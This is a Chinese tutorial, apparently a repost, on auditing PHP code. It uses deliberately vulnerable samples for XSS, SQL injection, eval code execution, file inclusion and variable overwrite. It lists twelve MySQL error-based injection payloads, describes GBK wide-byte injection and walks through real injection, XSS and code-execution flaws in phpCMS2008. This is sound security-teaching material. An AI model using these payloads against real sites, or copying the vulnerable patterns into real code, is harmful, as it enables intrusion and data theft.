一個CMS案例實戰講解PHP代碼審計入門


前言

php代碼審計介紹:顧名思義就是檢查php源代碼中的缺點和錯誤信息,分析並找到這些問題引發的安全漏洞。

1、環境搭建: 工欲善其事必先利其器,先介紹代碼審計必要的環境搭建

審計環境 windows環境(windows7+Apache+MySQL+php)

phpstudy(任何php集成開發環境都可以,),notepad++, seay源代碼審計系統

1.png

審計環境 linux環境(Apache+MySQL+php)

我用的是kail linux apache與mysql已經集成在linux上了,只需要安裝php環境即可

 

apt-get install php5 php-pear

service apache2 start

service mysql start

 

2.png

2、xss審計

XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。 xss分為存儲型的xss和反射型xss, 基於DOM的跨站腳本XSS。

反射型xss審計的時候基本的思路都一樣,通過尋找可控沒有過濾(或者可以繞過)的參數,通過echo等輸出函數直接輸出。尋找的一般思路就是尋找輸出函數,再去根據函數尋找變量。一般的輸出函數有這些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

測試代碼如下(簡單的說一下原理):

 3.png

存儲型xss審計和反射型xss審計時候思路差不多,不過存儲型xss會在數據庫“中轉”一下,主要審計sql語句update ,insert更新和插入。

 4.png

測試代碼如下

 

<?php

mysql_connect('localhost','root','root');

mysql_select_db('test');

mysql_query("set names gbk");

if(isset($_POST['submit'])){

$title=$_POST['title'];

$con=$_POST['con'];

$sql="INSERT INTO `xss` (`id` ,`title`,`con`)VALUES (NULL , '$title', '$con');";

if(mysql_query($sql)){

echo "留言成功";

}else{

echo "留言失敗";

}

}else{

$sql="select * from xss";

if($row=mysql_query($sql)){

while($rows=mysql_fetch_array($row)){

echo$rows['id'].$rows['title'].$rows['con']."<br>";

}

}

}

?>

<html>

<form action="?action=insert"method="post">

標題:<input type="text" name="title"><br>

內容:<textarea name="con"></textarea>

<input type="submit"name="submit" value="提交">

<form>

</html>

 

基於DOM的跨站腳本XSS:通過訪問document.URL 或者document.location執行一些客戶端邏輯的javascript代碼。不依賴發送給服務器的數據。簡單的寫一個腳本讓大家看一下。

 

<HTML>

<TITLE>DOM base xss !</TITLE>

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

.................

</HTML>

http://127.0.0.1/xss.html?name=<script>alert(document.cookie)</script>

 

3、sql注入審計:

 

SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。SQL注入的產生原因:①不當的類型處理;②不安全的數據庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字符處理不合適;⑥多個提交處理不當。

首先說一下普通的注入審計,可以通過$_GET,$_POST等傳參追蹤數據庫操作,也可以通過select , delete , update,insert 數據庫操作語句反追蹤傳參。寫一個簡單的sql漏洞。

 

<?php

$conn =mysql_connect('localhost','root','root');

mysql_select_db("test",$conn);

$uid = $_GET['id'];

$sql = " select * from user where id =$uid";

$result = mysql_query ($sql,$conn);

print_r(mysql_fetch_row($result));

?>

 

在實際環境中程序員永遠不會寫這樣的代碼,一般都會用addslashes()等過濾函數對從web傳遞過來的參數進行過濾,但是如果在php鏈接mysql的時候,設置了“set character_set_clinet=gbk”就會出現一個編碼轉換的問題,也就是能產生寬字節注入。character_set_client變量就是作為客戶端發送的查詢中使用的字符集。簡單來說%df’會被過濾函數轉義為%df\’ ,%df\’= %df%5c%27 在使用gbk編碼的時候會認為%df%5c是一個寬字節%df%5c%27=縗’,這樣就會產生注入。咋們把上面那個普通注入改改,讓他變成寬字節注入。

 

<?php

$conn =mysql_connect('localhost','root','root');

 mysql_select_db("test",$conn);

 mysql_query("set NAMES'gbk'",$conn);

$uid = addslashes($_GET['id']);

$sql = " select * from user where id =$uid";

$result = mysql_query ($sql,$conn);

print_r(mysql_fetch_row($result));

?>

 

4、sql報錯注入的12個函數及sql注入語句:

1、通過floor報錯,注入語句如下:   

 

and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

2、通過ExtractValue報錯,注入語句如下:

 

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

 

3、通過UpdateXml報錯,注入語句如下:

 

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

 

4、通過NAME_CONST報錯,注入語句如下:

 

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

 

5、通過join報錯,注入語句如下:

 

select * from(select * from mysql.user ajoin mysql.user b)c;

 

6、通過exp報錯,注入語句如下:

 

and exp(~(select * from (select user () ) a) );

 

7、通過GeometryCollection()報錯,注入語句如下:

 

and GeometryCollection(()select *from(select user () )a)b );

 

8、通過polygon ()報錯,注入語句如下:

 

and polygon (()select * from(select user ())a)b );

 

9、通過multipoint ()報錯,注入語句如下:

 

and multipoint (()select * from(select user() )a)b );

 

10、通過multlinestring ()報錯,注入語句如下:

 

and multlinestring (()select * from(selectuser () )a)b );

 

11、通過multpolygon ()報錯,注入語句如下:

 

and multpolygon (()select * from(selectuser () )a)b );

 

12、通過linestring ()報錯,注入語句如下:

 

and linestring (()select * from(select user() )a)b );

 

5.png

join報錯注入(剩下的就不貼圖了,已經測試啦);

5、代碼執行審計:

代碼執行審計和sql漏洞審計很相似,sql注入是想sql語句注入在數據庫中,代碼執行是將可執行代碼注入到webservice 。這些容易導致代碼執行的函數有以下這些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e參數。寫一個簡單的審計測試代碼方便理解,如下

 

<?php

if(isset($_GET['id'])){

$id=$_GET['id'];

eval("\$id = $id;");

}

?>

 

6、命令執行審計:

 

代碼執行說的是可執行的php腳本代碼,命令執行就是可以執行系統命令(cmd)或者是應用指令(bash),這個漏洞也是因為傳參過濾不嚴格導致的,一般我們說的php可執行命令的函數有這些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();反引號也是可以執行的,因為他調用了shell_exec這個函數。我們寫段代碼看一下

 6.png

這種的命令執行要好找一些,通過函數追蹤參數,再通過參數來執行,還有可以通過bash破殼來執行,大牛有文章,我就不獻丑了,鏈接如下:

http://www.freebuf.com/articles/system/50065.html

7、文件上傳,文件包含漏洞:

文件上傳應該是最常用的漏洞了,上傳函數就那一個 move_uploaded_file();一般來說找這個漏洞就是直接ctrl+f 直接開搜。遇到沒有過濾的直接傳個一句話的webshell上去。上傳的漏洞比較多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名單過濾,或者是文件頭,content-type等等。一般來找上傳的過濾函數進行分析就行,這里就不多說了。

文件包含有這么兩種:本地包含和遠程包含。審計的時候函數都是一樣的,這個四個包含函數: include() ; include_once() ; require();require_once().include 和 require 語句是相同的,除了錯誤處理方面:require 會生成致命錯誤(E_COMPILE_ERROR)並停止腳本,include 只生成警告(E_WARNING),並且腳本會繼續。先說一下本地包含,本地包含就指的是只能包含本機文件的漏洞,一般要配合上傳,或者是已控的數據庫來進行使用。寫一段代碼測試一下

首先我們創建一個test.php

 

<?php

$uid=$_GET['id'];

include(ROOT.$uid.'.php');

?>

 

再在同目錄下創建test1.php

 

<?php

phpinfo();

?>

 

7.png

再來說說遠程包含,遠程包含需要設置 allow_uel_include =On,而且可以http,https,ftp都包含進去,不過實際上這個漏洞太少,很多時候都是代理直接把文件代過來,不審計的時候咋一看還以為是。。。。。。上代碼說吧

 

<?php

include($_GET['id']) //這id直接寫url就可以包含

?>

 

 8.png

 8、變量覆蓋

 

大概有兩種情況,第一種register_globals,第二種人為變量覆蓋,register_globals= On 的時候,傳遞過來的值會被直接設置為全局變量使用,而Off的時候,我們需要到特定的數組里去得到它。另一種就是人為變量覆蓋,寫一段代碼看看。

 

<?php     

   $id = '0'; 

   extract($_GET); 

      if($id==1){ 

   echo "private!"; 

   }else{ 

    echo "public!"; 

   } 

   ?> 

備注:register_globals php4 默認開啟 php5 默認關閉

9.png

9、實戰:phpCMS2008

首先先找找配置文件環境變量這些,在/include/common.inc.php文件中突然發現

1.png

發現$_SERVER 變量,這個變量不收GPC的保護,ctrl + f 全文找找,在c.php發現這么一些語句

2.png

這個地方沒有過濾,直接飲用HTTP_REFERER變量,很開心,繼續給下看,發現進行了數據庫操作,$db->insert($table, $info); 這不就是注入了嗎?在referer處注入即可;

繼續審,

3.png

在\phpcms\yp\product.php下突然發現這個函數urlencode($areaname),這個函數轉換areaname為16進制,猜測一下,解碼肯定使用urdecode()解碼,看一下,這個參數與數據庫沒有交互,但是在分頁時輸入了areaname,嘗試成功xss

4.png

繼續,在areaname拼接$urlrule變量的時候,

 

$urlrule="$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order.html|$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order-\$page.html";

 

我們發現不僅僅把areaname參數帶入,還將pagesize參數帶入模板的html,執行進入到get函數處理中,最后經過get->pages->pageurl函數,最終觸發pageurl的如下代 碼:eval(“”$url= “”$urlrule”";”);在這里,這里將拼接的urlrule進行執行,我們就可以將pagesize參數替代我們想要執行的任意php代碼。如下圖

5.png

咋們繼續給下看,大胖又找到了這個\phpcms\wap\index.php

6.png

為了方便測試,在目錄下寫入test.php <?php phpinfo();?>

7.png

phpcms2008完美完成了代碼審計的時候的xss, sql注入,代碼執行審計,本地包含這一堆漏洞,說實話,大胖也沒想到一個cms基本實現php審計實戰大部分內容。

fuckbaidu 2016-12-01回復1樓

 

不用mysqli和pdo prepare statements和esapi xss filter的PHP程序猿,一律干掉
不用mybatis或者在mybatis配置中引入$的java程序猿,一律干掉
不用django querysets的python程序猿,一律干掉


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM